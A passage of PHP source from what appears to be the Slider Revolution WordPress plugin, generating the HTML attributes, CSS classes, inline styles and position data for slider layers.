				echo ($ld !== '') ? $this->ld().RS_T8.'data-'.$ldk.'="'.$ld.'"'."\n" : '';
			}
		}
		
		do_action('revslider_add_layer_attributes', $layer, $this->slide, $this->slider, $this);
		
		echo $this->ld().RS_T8.'style="';
		echo $html_inline_style;
		//echo $html_idle_style;
		echo '"'."\n";
		echo $this->ld().RS_T7.'>';//."\n";
		echo ($html_bg_image !== '') ? $html_bg_image."\n" : '';
		if($special_type !== false){
			echo $this->add_opening_comment();
		}
		
		if($toggle_data['allow'] === true){
			echo "\n".$this->ld().RS_T8.'<div class="';
			echo ($toggle_data['inverse_content'] === true) ? 'rs-toggled-content' : 'rs-untoggled-content';
			echo '">';
		}
		
		//echo ($special_type === false && $layertype !== 'video') ? apply_filters('revslider_layer_content', stripslashes($html_layer), $html_layer, $this->slider->get_id(), $this->slide, $layer).' ' : '';
		echo ($special_type === false && $layertype !== 'video') ? apply_filters('revslider_layer_content', $html_layer, $html_layer, $this->slider->get_id(), $this->slide, $layer).' ' : '';
		
		if($toggle_data['allow'] === true){
			echo '</div>';
			echo "\n".$this->ld().RS_T8.'<div class="';
			echo ($toggle_data['inverse_content'] === true) ?  'rs-untoggled-content' : 'rs-toggled-content';
			echo '">'.stripslashes($toggle_data['html']).'</div>';
		}
		
		if($special_type === false){
			echo "\n".$this->ld().RS_T7.'</'.$layer_tag.'>'.$this->add_opening_comment()."\n";
		} //the closing will be written later, after all layers/columns are added //
		
		$this->zIndex++;
	}
	
	/**
	 * check if the layer is okay to be added or if we should move to the next layer
	 **/
	public function check_layer_continue($special_type, $row_group_uid){
		$layer	= $this->get_layer();
		$type	= $this->get_val($layer, 'type', 'text');
		
		//if($this->get_val($layer, array('visibility', 'visible'), true); == false) return false;
		switch($type){
			case 'row':
				if($special_type !== 'row') return false;
			break;
			case 'group':
				if($special_type !== 'group') return false;
			break;
			case 'column':
				if($special_type !== 'column') return false;
			break;
		}
		if($row_group_uid == false && $this->is_in_group_or_row()){
			return false; //if we are not in a row or group and the layer is in one, return false
		}
		
		return true;
	}
	
	
	/**
	 * check if the layer is okay to be added or if we should move to the next layer
	 **/
	public function check_layer_video_continue(){
		$layer	= $this->get_layer();
		
		if($this->get_val($layer, 'type', 'text') !== 'video') return true;
		$video_type = trim($this->get_val($layer, array('media', 'mediaType')));
		$video_type = ($video_type === '') ? 'html5' : $video_type;
		
		if(!in_array($video_type, array('streamyoutube', 'streamyoutubeboth', 'youtube', 'streamvimeo', 'streamvimeoboth', 'vimeo', 'streaminstagram', 'streaminstagramboth', 'html5'), true)) return true;
		
		$vid = trim($this->get_val($layer, array('media', 'id')));
		
		switch($video_type){
			case 'streaminstagram':
			case 'streaminstagramboth':
			case 'html5':
				$ogv = trim($this->get_val($layer, array('media', 'ogvUrl'), ''));
				$webm = trim($this->get_val($layer, array('media', 'webmUrl'), ''));
				$mp4 = trim($this->remove_http($this->get_val($layer, array('media', 'mp4Url'), '')));
				
				if(empty($ogv) && empty($webm) && empty($mp4)){
					$vid = trim($this->get_val($layer, array('media', 'id')));
					$vid = ($this->get_val($layer, array('media', 'videoFromStream'), false) === true) ? $this->slide->get_param(array('bg', 'mpeg'), '') : $vid;
					return (empty($vid)) ?  false : true;
				}
				
				return true;
			break;
			case 'youtube':
			case 'streamyoutube':
			case 'streamyoutubeboth':
				$vid = (in_array($video_type, array('streamyoutube', 'streamyoutubeboth'), true)) ? $this->slide->get_param(array('bg', 'youtube'), '') : $vid; //change $vid to the stream!
				$vid = ($this->get_val($layer, array('media', 'videoFromStream'), false) === true) ? $this->slide->get_param(array('bg', 'youtube'), '') : $vid;
				$this->youtube_exists = (empty($vid)) ? $this->youtube_exists : true;

				return (empty($vid)) ?  false : true;
			break;
			case 'vimeo':
			case 'streamvimeo':
			case 'streamvimeoboth':
				$vid = (in_array($video_type, array('streamvimeo', 'streamvimeoboth'), true)) ? $this->slide->get_param(array('bg', 'vimeo'), '') : $vid;
				$vid = ($this->get_val($layer, array('media', 'videoFromStream'), false) === true) ? $this->slide->get_param(array('bg', 'vimeo'), '') : $vid;
				
				return (empty($vid)) ?  false : true;
			break;
		}
		
		return (empty($vid)) ?  false : true;
	}

	/**
	 * get the simple link that can be inside the actions of a layer
	 **/
	public function get_action_link(){
		$link	= '';
		$layer	= $this->get_layer();
		$action	= $this->get_val($layer, array('actions', 'action'), array());
		
		if(!empty($action)){
			foreach($action as $act){
				// these are needed for the Social Share AddOn
				$action_type = apply_filters('rs_action_type', $this->get_val($act, 'action'));
				$link_type = apply_filters('rs_action_link_type', $this->get_val($act, 'link_type', ''));
				if($action_type === 'menu'){					
					$http      = $this->get_val($act, 'link_help_in', 'keep');
					$menu_link = $this->remove_http($this->get_val($act, 'menu_link', ''), $http);
					$menu_link = do_shortcode($menu_link);
					$link_open_in = $this->get_val($act, 'link_open_in', '');
					$link_follow = $this->get_val($act, 'link_follow', '');
					$link = 'href="'.$menu_link.'"';
					$link .= ($link_open_in !== '') ? ' target="'.$link_open_in.'"' : '';
					if($link_follow === 'nofollow'){
						$link .= ' rel="nofollow';
						$link .= ($link_open_in === '_blank') ? ' noopener' : '';
						$link .= '"';
					}else{
						$link .= ($link_open_in === '_blank') ? ' rel="noopener"' : '';
					}
					break;
				}
				if($action_type === 'link'){
					if($link_type !== 'jquery'){
						$http		= $this->get_val($act, 'link_help_in', 'keep');
						$image_link = $this->remove_http($this->get_val($act, 'image_link', ''), $http);
						$image_link = do_shortcode($image_link);
						$link_open_in = $this->get_val($act, 'link_open_in', '');
						$link_follow = $this->get_val($act, 'link_follow', '');
						
						$link = 'href="'.$image_link.'"';
						$link .= ($link_open_in !== '') ? ' target="'.$link_open_in.'"' : '';
						if($link_follow === 'nofollow'){
							$link .= ' rel="nofollow';
							$link .= ($link_open_in === '_blank') ? ' noopener' : '';
							$link .= '"';
						}else{
							$link .= ($link_open_in === '_blank') ? ' rel="noopener"' : '';
						}
					}
					
					break;
				}
			}
		}
		
		return $link;
	}
	
	/**
	 * get the layer tag as it can change through settings and others
	 **/
	public function get_layer_tag($html_simple_link, $special_type = false){
		$layer	= $this->get_layer();
		$tag	= $this->get_val($layer, 'htmltag', 'rs-layer');
		
		if($html_simple_link !== '') $tag = 'a';
		if($special_type !== false)	 $tag = 'rs-'.$special_type; //if we are special type, only allow div to be the structure, as we will close with a div outside of this function
		
		if($tag === 'label'){
			$labelfor = $this->get_val($layer, 'labelfor', false);
			if($labelfor !== false) $this->layer_additions['for'] = $this->get_layer_attribute_id($labelfor);
		}

		return ($tag !== 'div') ? $tag : 'rs-layer';
	}
	
	/**
	 * get the layer classes
	 **/
	public function get_layer_class(){
		$layer	= $this->get_layer();
		$type	= $this->get_val($layer, 'type', 'text');
		$class	= array();
		
		$acs = $this->get_val($layer, array('attributes', 'classes'), '');
		if(strpos($acs, ' ') !== false){
			$acs = explode(' ', $acs);
			foreach($acs as $ac){
				$class[] = $ac;
			}
		}else{
			$class[] = $acs;
		}
		
		$idle_class	= $this->get_val($layer, array('idle', 'style'), '');
		$internal_class = $this->get_val($layer, array('runtime', 'internalClass'), '');
		$selectable	= $this->get_val($layer, array('idle', 'selectable'), 'default');
		$svg		= $this->get_val($layer, 'svg', false);
		
		if($idle_class !== '') $class[] = $idle_class;
		if($internal_class !== '') $class[] = $internal_class;
		
		if($selectable !== 'default'){
			if($this->_truefalse($selectable) == true) $class[] = 'rs-selectable';
		}else{
			if($this->slider->get_param(array('general', 'layerSelection'), false) == true) $class[] = 'rs-selectable';
		}
		
		if($this->get_val($layer, array('hover', 'pointerEvents'), 'auto') == 'none') $class[] = 'rs-noevents';
		
		//make some modifications for the full screen video
		if($this->is_full_width_video() == true) $class[] = 'rs-fsv';
		if($this->get_val($layer, array('idle', 'overflow')) === 'hidden') $class[] = 'rs-ov-hidden';
		if(!empty($svg)) $class[] = 'rs-svg';
		
		if($type == 'video'){
			switch(trim($this->get_val($layer, array('media', 'mediaType')))){
				case 'streaminstagram':
				case 'streaminstagramboth':
				case 'html5':
					if($this->get_val($layer, array('media', 'largeControls'), true) === false){
						$class[] = 'rs-nolc';
					}else{
						global $rs_revicons;
						$rs_revicons = true;
					}
				break;
			}
		}
		
		if($this->slider->get_param(array('parallax', 'set'), false) == true){
			$level = $this->get_val($layer, array('effects', 'parallax'), '-');				
			$level = ($this->slider->get_param(array('parallax', 'setDDD'), false) == true && $level == '-' && $this->get_val($layer, array('effects', 'attachToBg'), '') === true) ? 'tobggroup' : $level;
			if($level !== '-') $class[] = 'rs-pxl-'.$level;			
		}
		
		if($this->is_static) $class[] = 'rs-layer-static';
		if($type == 'video') $class[] = 'rs-layer-video';
		if($type == 'audio'){
			$class[] = 'rs-layer-audio';
			$visible = $this->get_val($layer, array('media', 'controls'), false);
			if($visible === false) $class[] = 'rs-layer-hidden';
		}
		
		if($this->get_val($layer, array('visibility', 'onlyOnSlideHover'), false) === true){
			$class[] = 'rs-on-sh';
		}
		
		if($this->slider->get_param('type', 'standard') === 'carousel' && $this->slider->get_param(array('carousel', 'showAllLayers')) !== 'false' && !$this->is_static){
			if($this->get_val($layer, array('visibility', 'alwaysOnCarousel'), false) === true) $class[] = 'rs-on-car';
		}
		
		$add_intrinsic = false;
		$text		 = strtolower($this->get_val($layer, 'text', ''));
		$text_toggle = $this->get_val($layer, array('toggle', 'text'), '');
		$tag		 = $this->get_val($layer, 'htmltag', 'rs-layer');
		
		if($type == 'video') $add_intrinsic = true;
		if(strpos($text, '<iframe') !== false || strpos($text_toggle, '<iframe') !== false) $add_intrinsic = true;
		if($tag == 'iframe' && array_search('rs-layer', $class) !== false) $add_intrinsic = true;
		
		if($add_intrinsic) $class[] = 'intrinsic-ignore';
		
		$actions	= $this->get_val($layer, array('actions', 'action'), array());
		if(!empty($actions)){
			foreach($actions as $action){
				if($this->get_val($action, 'action') !== 'getAccelerationPermission') continue;
				
				$class[] = 'iospermaccwait';
				break;
			}
		}

		return implode(' ', $class);
	}
	
	/**
	 * create hover style, will later be pushed into the header css
	 **/
	public function create_style_hover(){
		$layer	= $this->get_layer();
		
		//check if hover is active for the slider
		if($this->get_val($layer, array('hover', 'usehover'), false) === false || $this->get_val($layer, array('hover', 'usehover'), false) === 'false') return false;
		
		$id		= $this->get_html_layer_ids(true);
		$_css	= RevSliderGlobals::instance()->get('RevSliderCssParser');
		$style	= array($id => array()); 
		
		/**
		 * customHoverCSS only exists in a Slider imported/existed before 6.0.
		 * It is taken from the navigation tables advanced -> hover
		 **/
		$custom_css = $this->get_val($layer, 'customHoverCSS', '');
		if(!empty($custom_css)){
			$custom_css = $_css->css_to_array('nec {'.$custom_css.'}');
			$_nec = $this->get_val($custom_css, 'nec', array());
			if(!empty($_nec)){
				foreach($_nec as $n => $v){
					$style[$id][$n] = $v;
				}
			}
		}
		
		if(!empty($style[$id])){
			$this->set_hover_css($style);
		}
		
		return true;
	}
	
	/**
	 * this function will return css in javascript format only if its ajax loaded
	 * otherwise it will add the css to a queue which will then be printed by revslider-front.class.php or if its cached through the cache tool
	 **/
	public function get_css_javascript($css_html){
		global $rs_loaded_by_editor;

		$html = '';
		$css_class = RevSliderGlobals::instance()->get('RevSliderCssParser');
		if($this->usage === 'modal' && $this->ajax_loaded === true || $this->ajax_loaded === true || $rs_loaded_by_editor === true){
			$css = (!is_admin()) ? $css_class->compress_css(rawurlencode($css_html)) : $css_class->compress_css($css_html);
			if(empty(trim($css))) return $html;
			
			if(!is_admin()){
				$html .= RS_T4.'<script>'."\n";
				$html .= RS_T5.'var htmlDivCss = unescape("'. $css .'");'."\n";
				$html .= RS_T5."var htmlDiv = document.getElementById('rs-plugin-settings-inline-css');"."\n";
				$html .= RS_T5.'if(htmlDiv) {'."\n";
				$html .= RS_T6.'htmlDiv.innerHTML = htmlDiv.innerHTML + htmlDivCss;'."\n";
				$html .= RS_T5.'}else{'."\n";
				$html .= RS_T6."var htmlDiv = document.createElement('div');"."\n";
				$html .= RS_T6."htmlDiv.innerHTML = '<style>' + htmlDivCss + '</style>';"."\n";
				$html .= RS_T6."document.getElementsByTagName('head')[0].appendChild(htmlDiv.childNodes[0]);"."\n";
				$html .= RS_T5.'}'."\n";
				$html .= RS_T4.'</script>'."\n";
			}else{
				$me = $this->get_markup_export();
				$html .= ($me === true) ? '<!-- STYLE -->' : '';
				$html .= RS_T4 .'<style>'. $css .'</style>';
				$html .= ($me === true) ? '<!-- /STYLE -->' : '';
			}
		}else{
			global $rs_css_collection;
			$css = $css_class->compress_css($css_html);
			if(empty(trim($css))) return $html;
			$rs_css_collection[] = $css;
			if($this->caching){
				$cache = RevSliderGlobals::instance()->get('RevSliderCache');
				$cache->add_addition('special', 'rs_css_collection', $css);
			}
		}
		
		return $html;
	}
	
	
	/**
	 * add hover style into the headers css.
	 * this is outside of the frame_hover so some special things happen here
	 **/
	public function add_style_hover(){
		$css = $this->get_hover_css();
		$html = '';
		
		if(!empty($css)){
			$css_html = '';
			
			foreach($css as $id => $_css){
				$css_html .= '#'.$id.':hover{';
				foreach($_css as $k => $v){
					$css_html .= $k.':'.$v.';';
				}
				$css_html .= '}'."\n";
			}
			
			if($css_html == '') return '';
			
			$html = $this->get_css_javascript($css_html);
		}
		
		echo $html;
	}
	
	/**
	 * get layer inline style
	 **/
	public function get_html_inline_style(){
		$style	= array();
		$layer	= $this->get_layer();
		$type	= $this->get_val($layer, 'type', 'text');
		$img	= trim($this->get_val($layer, array('idle', 'backgroundImage'), ''));
		$img_id	= $this->get_val($layer, array('idle', 'backgroundImageId'));
		$img_t	= $this->get_val($layer, array('behavior', 'imageSourceType'), 'full');
		$zi		= $this->get_val($layer, array('position', 'zIndex'), false);
		$zi		= ($zi === false) ? $this->zIndex : $zi;
		
		$style['z-index'] = $zi;
		
		//Replace image when featured image is in use
		if($this->get_val($layer, array('idle', 'bgFromStream')) === true){ //if image is choosen, use featured image as background
			$stream_background_image = $this->get_stream_background_image($layer);
			$img = $stream_background_image['url'];
			$img_id = $stream_background_image['id'];
			$img_t = $stream_background_image['size'];
		}
		
		if($img !== '' && !in_array($type, array('group', 'shape', 'row'), true)){
			if($img_t !== 'full' && $img_id !== false && !empty($img_id)){
				$_img = wp_get_attachment_image_src($img_id, $img_t);
				$img = ($_img !== false) ? $_img[0] : $img;
			}
			
			$objlib = new RevSliderObjectLibrary();
			$objlib->_check_object_exist($img); //redownload if needed
			
			$global = $this->get_global_settings();
			$lazyloadbg = $this->get_val($global, 'lazyonbg', false);
			if($lazyloadbg !== false && $lazyloadbg !== 'false'){
				$this->layer_additions['data-bglazy'] = $img;
				$img = RS_PLUGIN_URL.'public/assets/assets/dummy.png';
			}

			$style['background'] = "url('".$img."')";
			$style['background'] .= ' '.$this->get_val($layer, array('idle', 'backgroundRepeat'), 'no-repeat');
			$style['background'] .= ' '.$this->get_val($layer, array('idle', 'backgroundPosition'), 'center center');
			$bgs = $this->get_val($layer, array('idle', 'backgroundSize'), 'cover');
			$bgs = ($bgs === 'percentage') ? $this->get_val($layer, array('idle', 'backgroundSizePerc'), '100').'%' : $bgs;
			$bgs = ($bgs === 'pixel') ? $this->get_val($layer, array('idle', 'backgroundSizePix'), '100').'px' : $bgs;
			$style['background-size'] = $bgs;
		}
		
		$bgcolor = $this->get_val($layer, array('idle', 'backgroundColor'), 'transparent');
		if($bgcolor !== 'transparent'){
			$bgcolor = RSColorpicker::get($bgcolor);
			if(strpos($bgcolor, 'gradient') !== false){
				$style['background'] = $bgcolor;
			}else{
				$style['background-color'] = $bgcolor;
			}
		}
		
		if(!in_array($type, array('image', 'video', 'row', 'column', 'group', 'shape', 'audio'), true)){
			$style['font-family'] = str_replace(array('"', "'"), "", $this->get_val($layer, array('idle', 'fontFamily'), 'Roboto'));
			$font_family		  = explode(',', $style['font-family']);
			$style['font-family'] = (!empty($font_family) && is_array($font_family)) ? array_map('trim', $font_family) : trim($font_family);
			$style['font-family'] = (!empty($style['font-family'])) ? "'" . implode("', '", $style['font-family']) . "'"  : '';
		}
		
		$text_transform = $this->get_val($layer, array('idle', 'textTransform'), 'none');
		if($text_transform !== 'none'){
			$style['text-transform'] = $text_transform;
		}
		
		$fs = $this->get_val($layer, array('idle', 'fontStyle'), 'off');
		if($fs == 'on' || $fs == 'italic'){
			$style['font-style'] = 'italic';
		}

		$mc = $this->get_val($layer, array('idle', 'cursor'), 'auto');		
		if($mc !== 'auto' && $mc !== 'default'){
			$style['cursor'] = $mc;
		}
		
		if($type === 'column'){
			$style['width'] = '100%';
		}
		if(($this->container_mode === 'column' || $this->container_mode === 'group') && $type !== 'row' && $this->get_val($layer, array('idle', 'display'), 'block') !== 'block'){
			$style['display'] = $this->get_val($layer, array('idle', 'display'));
		}

		//Advanced Styles here:
		$custom_css = $this->get_val($layer, 'customCSS', '');
		if(!empty($custom_css)){
			$_css	= RevSliderGlobals::instance()->get('RevSliderCssParser');
			$custom_css = $_css->css_to_array('nec {'.$custom_css.'}');
			$_nec = $this->get_val($custom_css, 'nec', array());
			if(!empty($_nec)){
				foreach($_nec as $n => $v){
					$style[$n] = $v;
				}
			}
		}
		
		$html = '';
		if(!empty($style)){
			foreach($style as $k => $v){
				$v = trim($v);
				$html .= (!in_array($v, array('', 'px', '%'), true)) ? $k.':'.$v.';' : '';
			}
		}		
		return $html;
	}
	
	
	/**
	 * push the needed material icon css to the frondend
	 **/
	public function get_material_icons_css(){
		global $rs_material_icons_css, $rs_material_icons_css_parsed;
		
		if($rs_material_icons_css === false) return '';
		if($rs_material_icons_css_parsed === true) return '';

		$html = $this->get_css_javascript($rs_material_icons_css);

		$rs_material_icons_css_parsed = true;
		
		return $html;
	}
	
	/**
	 * Check if material Icons CSS needs to be written or if it is already written
	 **/
	public function set_material_icon_css(){
		global $rs_material_icons_css;
		
		$layers = $this->get_layers();
		
		if($rs_material_icons_css !== false) return '';
		if(empty($layers)) return '';

		foreach($layers as $layer){
			$text = $this->get_val($layer, 'text', '');
			$text_toggle = $this->get_val($layer, array('toggle', 'text'), '');
			if(strpos($text, 'material-icons') !== false || strpos($text_toggle, 'material-icons') !== false) $this->add_material_icons();
		}
		
		return '';
	}
	
	
	/**
	 * add the custom navigation css
	 **/
	public function add_custom_navigation_css(){
		$slides = $this->slider->get_slides();
		if(empty($slides)) return;
		
		$html		= '';
		$rs_nav		= new RevSliderNavigation();
		$all_navs	= $rs_nav->get_all_navigations();

		$enable_arrows		= $this->slider->get_param(array('nav', 'arrows', 'set'), false);
		$enable_bullets		= $this->slider->get_param(array('nav', 'bullets', 'set'), false);
		$enable_tabs		= $this->slider->get_param(array('nav', 'tabs', 'set'), false);
		$enable_thumbnails	= $this->slider->get_param(array('nav', 'thumbs', 'set'), false);
		if($this->slider->get_param('type', 'standard') !== 'hero' && ($enable_arrows == true || $enable_bullets == true || $enable_tabs == true || $enable_thumbnails == true)){
			foreach($slides as $slide){
				if(!empty($all_navs)){
					foreach($all_navs as $cur_nav){
						//get modifications out, wrap the class with slide class to be specific
						if($enable_arrows == true && $cur_nav['id'] == $this->slider->get_param(array('nav', 'arrows', 'style'), 'new-bullet-bar')){
							$this->rs_custom_navigation_css .= $rs_nav->add_placeholder_sub_modifications($cur_nav['css'], $cur_nav['handle'], 'arrows', $cur_nav['placeholders'], $slide, $this)."\n";
						}
						if($enable_bullets == true && $cur_nav['id'] == $this->slider->get_param(array('nav', 'bullets', 'style'), 'round')){
							$this->rs_custom_navigation_css .= $rs_nav->add_placeholder_sub_modifications($cur_nav['css'], $cur_nav['handle'], 'bullets', $cur_nav['placeholders'], $slide, $this)."\n";
						}
						if($enable_tabs == true && $cur_nav['id'] == $this->slider->get_param(array('nav', 'tabs', 'style'), 'round')){
							$this->rs_custom_navigation_css .= $rs_nav->add_placeholder_sub_modifications($cur_nav['css'], $cur_nav['handle'], 'tabs', $cur_nav['placeholders'], $slide, $this)."\n";
						}
						if($enable_thumbnails == true && $cur_nav['id'] == $this->slider->get_param(array('nav', 'thumbs', 'style'), 'new-bullet-bar')){
							$this->rs_custom_navigation_css .= $rs_nav->add_placeholder_sub_modifications($cur_nav['css'], $cur_nav['handle'], 'thumbs', $cur_nav['placeholders'], $slide, $this)."\n";
						}
					}
				}
			}
			
			if(!empty($this->rs_custom_navigation_css)){
				$html = $this->get_css_javascript($this->rs_custom_navigation_css);
			}
		}
		
		return $html;
	}
	

	/**
	 * get the layer basic transform
	 */
	public function get_html_transform() {
		$layer	= $this->get_layer();
		$html	= '';

		$rx = intval($this->get_val($layer, array('idle', 'rotationX'), 0));
		$ry = intval($this->get_val($layer, array('idle', 'rotationY'), 0));
		$rz = intval($this->get_val($layer, array('idle', 'rotationZ'), 0));
		$iosfx = $this->get_val($layer, array('idle', 'filtersIOSFix'), 'd');
		$op = $this->get_val($layer, array('idle', 'opacity'), 1);
		
		if($rx !== 0) $html .='rX:'.$rx.';';
		if($ry !== 0) $html .='rY:'.$ry.';';
		if($rz !== 0) $html .='rZ:'.$rz.';';
		if($op !== 1) $html .='o:'.$op.';';
		if($iosfx !== 'd') $html .='iosfx:'.$iosfx.';';
		
		return ($html !== '') ? 'data-btrans="'.$html.'"' : $html;
	}

	/**
	 * get the layer filters on mask option
	 */
	public function get_html_filters_on_mask() {
		$layer	= $this->get_layer();
		$fm = intval($this->get_val($layer, array('timeline', 'filtersOnMask'), false));	
		return ($fm != false) ? 'data-fsom="true"' : '';
	}

	/**
	 * get the layer responsiveness 
	 **/
	public function get_html_responsive(){
		$layer	= $this->get_layer();
		$html	= '';
		
		if(in_array($this->get_val($layer, 'type', 'text'), array('row', 'column'), true)) return $html;
		
		if($this->get_val($layer, array('behavior', 'autoResponsive'), true) === true){
			$html .= ($this->get_val($layer, array('behavior', 'responsiveChilds'), true)) ? 'data-rsp_ch="on"' : '';
		}
		
		return $html;
	}
	
	/**
	 * get the layer ids as HTML
	 **/
	public function get_html_layer_ids($raw = false){
		$layer = $this->get_layer();
		$ids = $this->get_val($layer, array('attributes', 'id'));
		
		$ss	 = $this->get_static_slide();
		$uid = $this->get_layer_unique_id();
		if(trim($ids) == ''){
			$ids = (!empty($ss)) 
				? 'slider-'.preg_replace("/[^\w]+/", "", $this->slider->get_id()).'-slide-'.preg_replace("/[^\w]+/", "", $this->get_slide_id()).'-layer-'.$uid
				: 'slide-'.preg_replace("/[^\w]+/", "", $this->get_slide_id()).'-layer-'.$uid;
		}
		
		if($raw === false){
			$ids = ($ids != '') ? 'id="'.$ids.'"' : '';
		}
		
		return $ids;
	}
	
	/**
	 * get the layer ids as HTML
	 **/
	public function get_html_title(){
		$layer = $this->get_layer();
		$title = $this->get_val($layer, array('attributes', 'title'));
		
		return ($title != '') ? 'title="'.$title.'"' : '';
	}
	
	/**
	 * get the HTML tab index
	 **/
	public function get_html_tab_index(){
		$layer		= $this->get_layer();
		$tabindex	= $this->get_val($layer, array('attributes', 'tabIndex'));
		
		return (!in_array($tabindex, array('', '0', 0), true)) ? 'tabindex="'.$tabindex.'"' : '';
	}
	
	/**
	 * get the HTML rel
	 **/
	public function get_html_rel(){
		$layer = $this->get_layer();
		$rel = $this->get_val($layer, array('attributes', 'rel'));
		
		return ($rel != '') ? 'rel="'.$rel.'"' : '';
	}
	
	/**
	 * get the HTML layer x and y position
	 **/
	public function get_html_layer_position(){
		$f		= array('top', 'right', 'bottom', 'left', 'center', 'middle');
		$t		= array('t', 'r', 'b', 'l', 'c', 'm');
		$xy		= 'data-xy="';
		$layer	= $this->get_layer();
		$pos	= $this->get_val($layer, array('position', 'position'));
		$type	= $this->get_val($layer, 'type', 'text');
		
		if($this->is_full_width_video() == true){ // || $pos === 'relative'
			$xy .= 'x:0;';
			$xy .= 'y:0;';
		}else{
			$alignHor	= $this->get_val($layer, array('position', 'horizontal'));
			$alignVert	= $this->get_val($layer, array('position', 'vertical'));
			$left		= $this->get_val($layer, array('position', 'x'));
			$top		= $this->get_val($layer, array('position', 'y'));
			
			if($this->adv_resp_sizes == true){
				//remove from myTop and myLeft 0 and 0px
				$myHor	= $this->normalize_device_settings($alignHor, $this->enabled_sizes, 'html-array', array('l'));
				$myLeft	= $this->normalize_device_settings($left, $this->enabled_sizes, 'html-array', array('0', '0px'));
				$myVer	= $this->normalize_device_settings($alignVert, $this->enabled_sizes, 'html-array', array('t'));
				$myTop	= $this->normalize_device_settings($top, $this->enabled_sizes, 'html-array', array('0', '0px'));
				
				$myHor	= $this->shorten($myHor, $f, $t);
				$myLeft	= $this->shorten($myLeft, $f, $t);
				$myVer	= $this->shorten($myVer, $f, $t);
				$myTop	= $this->shorten($myTop, $f, $t);
				
				$xy .= (!in_array($myHor, array('', 0, '0', '0px'), true)) ? 'x:'.$myHor.';' : '';
				$xy .= (!in_array($myLeft, array('', 0, '0', '0px'), true)) ? 'xo:'.$myLeft.';' : '';
				$xy .= (!in_array($myVer, array('', 0, '0', '0px'), true)) ? 'y:'.$myVer.';' : '';
				$xy .= (!in_array($myTop, array('', 0, '0', '0px'), true)) ? 'yo:'.$myTop.';' : '';
			}else{
				$alignHor	= $this->get_biggest_device_setting($alignHor, $this->enabled_sizes);
				$alignVert	= $this->get_biggest_device_setting($alignVert, $this->enabled_sizes);
				$left		= $this->get_biggest_device_setting($left, $this->enabled_sizes);
				$top		= $this->get_biggest_device_setting($top, $this->enabled_sizes);
				
				$left		= $this->shorten($left, $f, $t);
				$top		= $this->shorten($top, $f, $t);
				
				switch($alignHor){
					default:
					case 'left':
						$xy .= ($left !== '') ? 'x:'.$left.';' : '';
					break;
					case 'center':
						$left = (in_array($left, array('', 0, '0', '0px'), true)) ? '' : $left;
						$xy .= 'x:c;';
						$xy .= ($left !== '') ? 'xo:'.$left.';' : '';
					break;
					case 'right':
						$left = (in_array($left, array('', 0, '0', '0px'), true)) ? '' : $left;
						$xy .= 'x:r;';
						$xy .= ($left !== '') ? 'xo:'.$left.';' : '';
					break;
				}
				
				switch($alignVert){
					default:
					case 'top':
						$xy .= ($top !== '') ? 'y:'.$top.';' : '';
					break;
					case 'middle':
						$top = (in_array($top, array('', 0, '0', '0px'), true)) ? '' : $top;
						$xy .= 'y:c;';
						$xy .= ($top !== '') ? 'yo:'.$top.';' : '';
					break;
					case 'bottom':
						$top = (in_array($top, array('', 0, '0', '0px'), true)) ? '' : $top;
						$xy .= 'y:b;';
						$xy .= ($top !== '') ? 'yo:'.$top.';' : '';
					break;
				}
			}
		}
		
		$xy .= '"';

		/**
		 * if we are row/column -> ignore
		 * if we are in root	-> ignore //container_mode === ''
		 **/
		if(!in_array($type, array('row', 'column'), true) && $this->container_mode !== ''){
			if(empty($pos) && in_array($this->container_mode, array('row', 'column'), true)) $pos = 'relative';
			$p	= ($pos === 'relative') ? 'r' : 'a';
			$xy .= "\n".$this->ld().RS_T8.'data-pos="'.$p.'"';
		}

		return ($xy !== 'data-xy=""') ? $xy : '';
	}
	
	/**
	 * get the data-text data HTML
	 **/
	public function get_html_text_data(){
		$layer = $this->get_layer();
		$text = 'data-text="';
		$data = array();
		
		$type = $this->get_val($layer, 'type', 'text');
		
		$de = array(
			's' => array(20, '20', '20px'),
			'l' => (in_array($type, array('text', 'button'))) ? array(25, '25', '25px') : array(0, '0', '0px'),
			'ls' => array(0, '0', '0px'),
			'fw' => array(400, '400'),
			'w' => array('nowrap'),
			'a' => array('left'),
			'f' => array('none'),
			'c' => array('none')
		);
		
		if($this->adv_resp_sizes == true){
			$ws = $this->normalize_device_settings($this->get_val($layer, array('idle', 'whiteSpace')), $this->enabled_sizes, 'html-array', $de['w']);
		}else{
			$ws	= $this->get_biggest_device_setting($this->get_val($layer, array('idle', 'whiteSpace'), $de['w'][0]), $this->enabled_sizes);
		}
		
		$ws = (strpos($ws, 'content') !== false) ? str_replace('content', 'nowrap', $ws) : $ws;
		$ws = (strpos($ws, 'full') !== false) ? str_replace('full', 'normal', $ws) :  $ws;
		
		$data['w'] = $ws;
		
		if($this->adv_resp_sizes == true){
			$data['s']	= $this->normalize_device_settings($this->get_val($layer, array('idle', 'fontSize')), $this->enabled_sizes, 'html-array', $de['s']);
			$data['f']	= $this->normalize_device_settings($this->get_val($layer, array('idle', 'float')), $this->enabled_sizes, 'html-array', $de['f']);
			$data['c']	= $this->normalize_device_settings($this->get_val($layer, array('idle', 'clear')), $this->enabled_sizes, 'html-array', $de['c']);
			$data['l']	= $this->normalize_device_settings($this->get_val($layer, array('idle', 'lineHeight')), $this->enabled_sizes, 'html-array', $de['l']);
			$data['ls']	= $this->normalize_device_settings($this->get_val($layer, array('idle', 'letterSpacing')), $this->enabled_sizes, 'html-array', $de['ls']);
			$data['fw']	= $this->normalize_device_settings($this->get_val($layer, array('idle', 'fontWeight')), $this->enabled_sizes, 'html-array', $de['fw']);
			$data['a']	= $this->normalize_device_settings($this->get_val($layer, array('idle', 'textAlign')), $this->enabled_sizes, 'html-array', $de['a']);
		}else{
			$data['s']	= $this->get_biggest_device_setting($this->get_val($layer, array('idle', 'fontSize')), $this->enabled_sizes);
			$data['f']	= $this->get_biggest_device_setting($this->get_val($layer, array('idle', 'float')), $this->enabled_sizes);
			$data['c']	= $this->get_biggest_device_setting($this->get_val($layer, array('idle', 'clear')), $this->enabled_sizes);
			$data['l']	= $this->get_biggest_device_setting($this->get_val($layer, array('idle', 'lineHeight')), $this->enabled_sizes);
			$data['ls']	= $this->get_biggest_device_setting($this->get_val($layer, array('idle', 'letterSpacing')), $this->enabled_sizes);
			$data['fw']	= $this->get_biggest_device_setting($this->get_val($layer, array('idle', 'fontWeight')), $this->enabled_sizes);
			$data['a']	= $this->get_biggest_device_setting($this->get_val($layer, array('idle', 'textAlign')), $this->enabled_sizes);
		}
		
		$data['s'] = str_replace('px', '', $data['s']);
		$data['l'] = str_replace('px', '', $data['l']);
		
		//only one size every available, so its outside of the if() check from before
